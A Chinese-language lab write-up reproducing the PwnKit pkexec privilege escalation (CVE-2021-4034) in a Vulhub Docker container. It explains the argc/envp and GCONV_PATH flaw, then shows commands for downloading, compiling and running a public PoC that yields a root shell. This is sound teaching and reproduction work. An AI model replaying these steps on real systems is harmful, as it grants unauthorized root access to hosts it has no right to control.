PwnKit提权漏洞复现:原理分析+环境搭建+渗透实践(CVE-2021-4034)
目录
一、PwnKit提权漏洞
1、漏洞简介
2、漏洞原理
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
2、下载 Vulhub
3、进入漏洞环境
4、启动漏洞环境
5、查看环境状态
三、渗透实战
1、ssh登录ubuntu账户
2、查看用户
3、下载编译PoC脚本
(1)下载PoC文件
(2)解压PoC文件
(3)编译PoC文件
4、运行PoC提权
PwnKit提权漏洞(CVE-2021-4034)是Polkit组件pkexec工具中的高危本地权限提升漏洞,影响多数Linux发行版。文章详细介绍了漏洞原理:pkexec处理环境变量时存在缺陷,可被利用执行任意代码获取root权限。通过Vulhub搭建漏洞环境,使用SSH登录普通用户后,下载并编译PoC脚本,最终成功实现权限提升至root。整个渗透过程包括环境准备、漏洞复现和提权验证,展示了该漏洞的稳定利用性。
一、PwnKit提权漏洞
1、漏洞简介
CVE-2021-4034 是一个存在于 Polkit 组件的 pkexec 工具中的本地权限提升漏洞,也被称为 PwnKit。
-
CVE编号:CVE-2021-4034
-
通俗名称:PwnKit
-
影响组件:Polkit 的
pkexec
工具 -
漏洞类型:本地权限提升 (Local Privilege Escalation)
-
危害等级:高危 (High)
-
影响版本:主要影响 pkexec 版本为 0.105 之前的系统,包括 Ubuntu、CentOS、Debian 等众多 Linux 发行版。
-
漏洞成因:
pkexec
未能正确处理参数和环境变量的交互,导致可以劫持其执行流,加载并执行任意恶意库,从而以 root 权限执行任意代码。 -
特点:默认存在、稳定利用、影响范围极广。几乎所有主流 Linux 发行版都受影响。
2、漏洞原理
pkexec 是一个 SUID 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令。该漏洞源于 pkexec 在处理参数时逻辑错误,当使用 execve 调用程序并给 argv 传值 NULL 时,argc 会为 0,此时 pkexec 会读取 argv (1) 变量,由于 argv 与 envp 在内存布局上是连续的,实际上会读取到第一个环境变量。若该环境变量不是绝对路径,pkexec 会在环境变量中查找 PATH 变量将其转换为实际路径,若 PATH 环境变量包含攻击者可控的路径,就会导致 pkexec 将攻击者可控的路径下的内容当作命令执行。此外,pkexec 在程序运行过程中会调用 g_printerr 函数,该函数会按需载入 GCONV_PATH 环境变量指向的路径下的 gconv - modules 文件中写明的外部动态链接库,并运行其中的初始化函数 gconv_init。攻击者可以通过构造恶意的环境变量,诱导 pkexec 加载并执行恶意的共享库,从而实现任意代码执行,达到本地权限提升的目的。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现PwnKit提权漏洞(CVE-2021-4034),由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd vulhub/polkit/CVE-2021-4034
4、启动漏洞环境
在CVE-2021-4034目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含cve-2021-4034漏洞的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示Vulhub 项目提供的polkit:0.105容器已正常运行 ,这个就是CVE-2021-4034 漏洞环境,可通过宿主机的 2222 端口访问容器。
└─# docker ps
doCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
44768a733e46 vulhub/polkit:0.105 "/bin/sh -c 'qemu-sy…" 33 seconds ago Up 31 seconds 0.0.0.0:2222->2222/tcp, :::2222->2222/tcp cve-2021-4034_cmd_1
三、渗透实战
1、ssh登录ubuntu
账户
使用用户名ubuntu/
密码
vulhub
登录Docker漏洞环境的SSH(端口是2222),如下所示。
ssh ubuntu@192.168.59.128 -p2222
2、查看用户
使用whoami和id查看用户信息, 如下所示这是一个普通用户,非root用户。
3、下载编译PoC脚本
(1)下载PoC文件
下载CVE-2021-4034 (Linux 系统上的 Polkit 权限提升漏洞)的PoC文件,如下所示。
ubuntu@ubuntu:/tmp$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
--2025-09-03 10:59:43-- https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main [following]
--2025-09-03 10:59:44-- https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.205.243.165
Connecting to codeload.github.com (codeload.github.com)|20.205.243.165|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: ‘main.tar.gz’main.tar.gz [ <=> ] 4.08K --.-KB/s in 0.002s 2025-09-03 10:59:45 (2.21 MB/s) - ‘main.tar.gz’ saved [4176]
(2)解压PoC文件
上一步下载下来的PoC文件为main.tar.gz,使用tar解压PoC文件到当前文件夹,如下所示。
ubuntu@ubuntu:/tmp$ tar -zxvf main.tar.gz
CVE-2021-4034-main/
CVE-2021-4034-main/.gitignore
CVE-2021-4034-main/LICENSE
CVE-2021-4034-main/Makefile
CVE-2021-4034-main/README.md
CVE-2021-4034-main/cve-2021-4034.c
CVE-2021-4034-main/cve-2021-4034.sh
CVE-2021-4034-main/dry-run/
CVE-2021-4034-main/dry-run/Makefile
CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
CVE-2021-4034-main/pwnkit.c
(3)编译PoC文件
进入到PoC文件夹所在的目录,编译PoC程序,如下所示。
ubuntu@ubuntu:/tmp$ cd CVE-2021-4034-main/
ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
4、运行PoC提权
运行提权PoC文件cve-2021-4034,如下所示,执行whoami和id时,提示用户已经变为root,说明提权渗透成功。
ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ ./cve-2021-4034
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)